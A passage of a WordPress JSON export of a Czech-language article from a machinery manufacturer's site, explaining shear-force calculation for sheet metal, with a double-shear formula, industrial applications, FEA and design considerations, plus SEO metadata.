kN<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="kpqmerqz" class=\"elementor-element elementor-element-bdca9e6 elementor-widget elementor-widget-heading\" data-id=\"bdca9e6\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div id="clbqdqzm" class=\"elementor-widget-container\">\n\t\t\t<h4 class=\"elementor-heading-title elementor-size-default\">Smykov\u00e1 s\u00edla p\u0159i dvojit\u00e9m smyku<\/h4>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="dtkahclk" class=\"elementor-element elementor-element-c43dc02 elementor-widget elementor-widget-text-editor\" data-id=\"c43dc02\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="trmnpnem" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p>V n\u011bkter\u00fdch sc\u00e9n\u00e1\u0159\u00edch, nap\u0159\u00edklad u \u0161roubov\u00fdch spoj\u016f, m\u016f\u017ee b\u00fdt s\u00edla rozlo\u017eena do dvou smykov\u00fdch rovin, co\u017e m\u00e1 za n\u00e1sledek dvojit\u00fd smykov\u00fd stav. Vzorec pro smykovou s\u00edlu ve sc\u00e9n\u00e1\u0159i dvojit\u00e9ho smyku je:<\/p><p>Fs=P2\u00d7AF_s = \\frac{P}{2 \\kr\u00e1t A}Fs\u200b=2\u00d7AP\u200b<\/p><p>Kde PPP je aplikovan\u00e9 zat\u00ed\u017een\u00ed a AAA je plocha vystaven\u00e1 smyku.<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="msnnatls" class=\"elementor-element elementor-element-ddabc45 elementor-widget-divider--view-line elementor-widget elementor-widget-divider\" data-id=\"ddabc45\" data-element_type=\"widget\" data-widget_type=\"divider.default\">\n\t\t\t\t<div id="btjzgztg" class=\"elementor-widget-container\">\n\t\t\t\t\t<div id="zdmggqmp" class=\"elementor-divider\">\n\t\t\t<span class=\"elementor-divider-separator\">\n\t\t\t\t\t\t<\/span>\n\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-d6adfb6 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"d6adfb6\" data-element_type=\"section\">\n\t\t\t\t\t\t<div id="nkeqqwkb" class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div id="dmgescsn" class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-842df81\" data-id=\"842df81\" data-element_type=\"column\">\n\t\t\t<div id="qpykxsrx" class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div id="pqfhrkpn" class=\"elementor-element elementor-element-2d88aa0 elementor-widget elementor-widget-heading\" data-id=\"2d88aa0\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div id="macxybhn" class=\"elementor-widget-container\">\n\t\t\t<h2 class=\"elementor-heading-title elementor-size-default\">Praktick\u00e9 aplikace v\u00fdpo\u010dt\u016f smykov\u00fdch sil<\/h2>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="gwlllhrz" class=\"elementor-element elementor-element-befc15a elementor-widget elementor-widget-text-editor\" data-id=\"befc15a\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="xhlfqwdn" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p>V\u00fdpo\u010dty smykov\u00fdch sil jsou kl\u00ed\u010dov\u00e9 v r\u016fzn\u00fdch pr\u016fmyslov\u00fdch aplikac\u00edch.<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="xhxrgyaz" class=\"elementor-element elementor-element-3edec95 elementor-widget elementor-widget-heading\" data-id=\"3edec95\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div id="yakkrrae" class=\"elementor-widget-container\">\n\t\t\t<h3 class=\"elementor-heading-title elementor-size-default\">1. St\u0159\u00edhac\u00ed stroj na plechy<\/h3>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="ehmjqtbk" class=\"elementor-element elementor-element-ba66d41 elementor-widget elementor-widget-image\" data-id=\"ba66d41\" data-element_type=\"widget\" data-widget_type=\"image.default\">\n\t\t\t\t<div id="lkxjqrmz" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="kmpghpys" class=\"elementor-element elementor-element-79eed47 elementor-widget elementor-widget-text-editor\" data-id=\"79eed47\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="rpwthtbp" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p>V <a id="pbznwexg" href=\"https:\/\/www.shen-chong.com\/cs\/plate-shearing-machine\/\" target=\"_blank\" rel=\"noopener\"><span style=\"color: #3366ff;\">st\u0159ihac\u00ed stroj na plechy<\/span><\/a> V procesu \u0159ez\u00e1n\u00ed je pro p\u0159esn\u00e9 \u0159ez\u00e1n\u00ed plechu nezbytn\u00e1 p\u0159esn\u00e1 kontrola smykov\u00e9 s\u00edly. Vypo\u010d\u00edtan\u00e1 smykov\u00e1 s\u00edla pom\u00e1h\u00e1 p\u0159i v\u00fdb\u011bru vhodn\u00fdch n\u00e1stroj\u016f a nastaven\u00ed stroje, aby se zabr\u00e1nilo po\u0161kozen\u00ed kovu nebo stroje.<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="balzkmmp" class=\"elementor-element elementor-element-0b8f142 elementor-widget elementor-widget-heading\" data-id=\"0b8f142\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div id="thjgmltx" class=\"elementor-widget-container\">\n\t\t\t<h3 class=\"elementor-heading-title elementor-size-default\">2. Procesy ra\u017een\u00ed a d\u011brov\u00e1n\u00ed<\/h3>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="qygqwzsw" class=\"elementor-element elementor-element-5f28429 elementor-widget elementor-widget-text-editor\" data-id=\"5f28429\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="jjtsbhzw" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p>B\u011bhem ra\u017een\u00ed nebo d\u011brov\u00e1n\u00ed ur\u010duje smykov\u00e1 s\u00edla s\u00edlu pot\u0159ebnou k vytvo\u0159en\u00ed otvor\u016f nebo v\u00fd\u0159ez\u016f v plechu. Nespr\u00e1vn\u00e9 v\u00fdpo\u010dty mohou v\u00e9st k opot\u0159eben\u00ed nebo selh\u00e1n\u00ed n\u00e1stroje, a dokonce i k vad\u00e1m kone\u010dn\u00e9ho v\u00fdrobku.<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="lhbnmxss" class=\"elementor-element elementor-element-018bec4 elementor-widget elementor-widget-heading\" data-id=\"018bec4\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div id="mkjxmqwf" class=\"elementor-widget-container\">\n\t\t\t<h3 class=\"elementor-heading-title elementor-size-default\">3. Sva\u0159ov\u00e1n\u00ed a v\u00fdroba<\/h3>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="lhxgdcds" class=\"elementor-element elementor-element-80b3551 elementor-widget elementor-widget-text-editor\" data-id=\"80b3551\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="pmejwwbp" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p>Ve sva\u0159ovac\u00edch procesech pom\u00e1h\u00e1 pochopen\u00ed smykov\u00fdch sil p\u0159i navrhov\u00e1n\u00ed spoj\u016f, kter\u00e9 odol\u00e1vaj\u00ed provozn\u00edmu zat\u00ed\u017een\u00ed bez selh\u00e1n\u00ed. V\u00fdpo\u010dty smykov\u00fdch sil se pou\u017e\u00edvaj\u00ed k ur\u010den\u00ed velikosti a typu svar\u016f pot\u0159ebn\u00fdch pro bezpe\u010dn\u00fd spoj.<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="akzewyyx" class=\"elementor-element elementor-element-0e87296 elementor-widget-divider--view-line elementor-widget elementor-widget-divider\" data-id=\"0e87296\" data-element_type=\"widget\" data-widget_type=\"divider.default\">\n\t\t\t\t<div id="fykhffrg" class=\"elementor-widget-container\">\n\t\t\t\t\t<div id="saghgqsw" class=\"elementor-divider\">\n\t\t\t<span class=\"elementor-divider-separator\">\n\t\t\t\t\t\t<\/span>\n\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-28c9220 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"28c9220\" data-element_type=\"section\">\n\t\t\t\t\t\t<div id="pgtrxrlh" class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div id="lmgtxkzr" class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-194f3a4\" data-id=\"194f3a4\" data-element_type=\"column\">\n\t\t\t<div id="szbyblaa" class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div id="qtdqzrat" class=\"elementor-element elementor-element-a11fd91 elementor-widget elementor-widget-heading\" data-id=\"a11fd91\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div id="sahngqbm" class=\"elementor-widget-container\">\n\t\t\t<h2 class=\"elementor-heading-title elementor-size-default\">Pokro\u010dil\u00e9 \u00favahy<\/h2>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="jgbychgn" class=\"elementor-element elementor-element-baaf188 elementor-widget elementor-widget-heading\" data-id=\"baaf188\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div id="sacghlpw" class=\"elementor-widget-container\">\n\t\t\t<h3 class=\"elementor-heading-title elementor-size-default\">1. Anal\u00fdza kone\u010dn\u00fdch prvk\u016f (FEA)<\/h3>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="gfqxyphx" class=\"elementor-element elementor-element-e4df7ca elementor-widget elementor-widget-text-editor\" data-id=\"e4df7ca\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="leenmped" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p>Anal\u00fdza kone\u010dn\u00fdch prvk\u016f (FEA) je v\u00fdpo\u010detn\u00ed metoda pou\u017e\u00edvan\u00e1 k simulaci chov\u00e1n\u00ed plechu p\u0159i r\u016fzn\u00fdch sil\u00e1ch, v\u010detn\u011b smykov\u00fdch. FEA poskytuje detailn\u00ed pohled na to, jak bude materi\u00e1l reagovat na r\u016fzn\u00e9 smykov\u00e9 s\u00edly, co\u017e umo\u017e\u0148uje in\u017een\u00fdr\u016fm optimalizovat n\u00e1vrhy p\u0159ed v\u00fdrobou fyzick\u00fdch prototyp\u016f.<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="xczcastn" class=\"elementor-element elementor-element-76114de elementor-widget elementor-widget-heading\" data-id=\"76114de\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div id="abjjwmpk" class=\"elementor-widget-container\">\n\t\t\t<h3 class=\"elementor-heading-title elementor-size-default\">2. Experiment\u00e1ln\u00ed metody<\/h3>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="nygckqjl" class=\"elementor-element elementor-element-3b69021 elementor-widget elementor-widget-text-editor\" data-id=\"3b69021\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="cwznnymb" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p>Krom\u011b teoretick\u00fdch v\u00fdpo\u010dt\u016f lze k p\u0159\u00edm\u00e9mu m\u011b\u0159en\u00ed smykov\u00e9 s\u00edly pou\u017e\u00edt experiment\u00e1ln\u00ed metody, jako jsou smykov\u00e9 zkou\u0161ky. Tento p\u0159\u00edstup poskytuje re\u00e1ln\u00e1 data, kter\u00e1 mohou ov\u011b\u0159it nebo zp\u0159esnit teoretick\u00e9 modely.<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="deysebjs" class=\"elementor-element elementor-element-fd91850 elementor-widget elementor-widget-heading\" data-id=\"fd91850\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div id="xrsyzqqr" class=\"elementor-widget-container\">\n\t\t\t<h3 class=\"elementor-heading-title elementor-size-default\">3. N\u00e1vrh pro v\u00fdrobn\u00ed schopnost a mont\u00e1\u017e (DFMA)<\/h3>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="aphawlam" class=\"elementor-element elementor-element-59dfd55 elementor-widget elementor-widget-text-editor\" data-id=\"59dfd55\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="mywqfbwa" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p>P\u0159i navrhov\u00e1n\u00ed plechov\u00fdch sou\u010d\u00e1st\u00ed je d\u016fle\u017eit\u00e9 zv\u00e1\u017eit v\u00fdrobn\u00ed schopnosti konstrukce. V\u00fdpo\u010dty smykov\u00fdch sil hraj\u00ed kl\u00ed\u010dovou roli v zaji\u0161t\u011bn\u00ed toho, aby bylo mo\u017en\u00e9 konstrukci efektivn\u011b a n\u00e1kladov\u011b efektivn\u011b vyrobit bez ohro\u017een\u00ed struktur\u00e1ln\u00ed integrity.<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="gatdwtmh" class=\"elementor-element elementor-element-22f0822 elementor-widget-divider--view-line elementor-widget elementor-widget-divider\" data-id=\"22f0822\" data-element_type=\"widget\" data-widget_type=\"divider.default\">\n\t\t\t\t<div id="pklgzgng" class=\"elementor-widget-container\">\n\t\t\t\t\t<div id="nasgxlme" class=\"elementor-divider\">\n\t\t\t<span class=\"elementor-divider-separator\">\n\t\t\t\t\t\t<\/span>\n\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-486569b elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"486569b\" data-element_type=\"section\">\n\t\t\t\t\t\t<div id="hqpgamyz" class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div id="rtktmlbz" class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-4e5500f\" data-id=\"4e5500f\" data-element_type=\"column\">\n\t\t\t<div id="prddygzb" class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div id="ahkapxrn" class=\"elementor-element elementor-element-8593ae8 elementor-widget elementor-widget-heading\" data-id=\"8593ae8\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div id="begjryrd" class=\"elementor-widget-container\">\n\t\t\t<h2 class=\"elementor-heading-title elementor-size-default\">Z\u00e1v\u011br<\/h2>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="ggmknpyl" class=\"elementor-element elementor-element-c4a35b8 elementor-widget elementor-widget-text-editor\" data-id=\"c4a35b8\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="rhdcrmhg" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p>V\u00fdpo\u010det smykov\u00e9 s\u00edly plechov\u00fdch desek je z\u00e1kladn\u00edm aspektem stroj\u00edrensk\u00e9ho n\u00e1vrhu a v\u00fdroby. Pochopen\u00edm z\u00e1kladn\u00edch princip\u016f smykov\u00e9ho nap\u011bt\u00ed a smykov\u00e9 pevnosti a pou\u017eit\u00edm vhodn\u00fdch vzorc\u016f mohou in\u017een\u00fd\u0159i zajistit, aby jejich n\u00e1vrhy byly bezpe\u010dn\u00e9, efektivn\u00ed a \u00fa\u010dinn\u00e9. A\u0165 u\u017e se jedn\u00e1 o CNC obr\u00e1b\u011bn\u00ed, lisov\u00e1n\u00ed nebo sva\u0159ov\u00e1n\u00ed, p\u0159esn\u00e9 v\u00fdpo\u010dty smykov\u00e9 s\u00edly jsou nezbytn\u00e9 pro \u00fasp\u011b\u0161nou v\u00fdrobu plech\u016f.<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="dbyqrhcz" class=\"elementor-element elementor-element-cab7087 elementor-widget elementor-widget-text-editor\" data-id=\"cab7087\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="emhxmeyp" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p><strong>\u010c\u00edst d\u00e1le:<\/strong><\/p><p><a id="ajgdqdht" href=\"https:\/\/www.shen-chong.com\/cs\/all-you-need-to-know-about-sheet-metal-gauge\/\" target=\"_blank\" rel=\"noopener\">V\u0161e, co pot\u0159ebujete v\u011bd\u011bt o m\u011b\u0159idlech plech\u016f<\/a><\/p><p><a id="lhbpnhyz" href=\"https:\/\/www.shen-chong.com\/cs\/what-are-the-k-factor-bend-allowance-and-bend-deduction\/\" target=\"_blank\" rel=\"noopener\">Co je to faktor K, p\u0159\u00eddavek na ohyb a odpo\u010det ohybu?<\/a><\/p><p><a id="acwychsp" href=\"https:\/\/www.shen-chong.com\/cs\/shearing-force-calculator-calculation-formula-and-working-principle\/\" target=\"_blank\" rel=\"noopener\">Kalkula\u010dka smykov\u00e9 s\u00edly: V\u00fdpo\u010detn\u00ed vzorec a princip fungov\u00e1n\u00ed<\/a><\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<\/div>","protected":false},"excerpt":{"rendered":"<p>\u00davod Obsah Smykov\u00e1 s\u00edla hraje kl\u00ed\u010dovou roli p\u0159i n\u00e1vrhu a v\u00fdrob\u011b plechov\u00fdch sou\u010d\u00e1st\u00ed. Je to z\u00e1kladn\u00ed koncept ve stroj\u00edrenstv\u00ed, zejm\u00e9na v odv\u011btv\u00edch, jako je automobilov\u00fd pr\u016fmysl, leteck\u00fd pr\u016fmysl a stavebnictv\u00ed, kde se plech b\u011b\u017en\u011b pou\u017e\u00edv\u00e1. P\u0159esn\u00fd v\u00fdpo\u010det smykov\u00e9 s\u00edly je nezbytn\u00fd pro zaji\u0161t\u011bn\u00ed struktur\u00e1ln\u00ed integrity [\u2026]<\/p>","protected":false},"author":1,"featured_media":3446,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-3445","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news-events"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v22.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>How To Calculate The Shearing Force Of Sheet Metal - SC Machinery<\/title>\n<meta name=\"description\" content=\"Shearing force plays a critical role in sheet metal plates cutting and so learn how to calculate shearing force is very important.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.shen-chong.com\/cs\/how-to-calculate-the-shearing-force-of-sheet-metal\/\" \/>\n<meta property=\"og:locale\" content=\"cs_CZ\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"How To Calculate The Shearing Force Of Sheet Metal - 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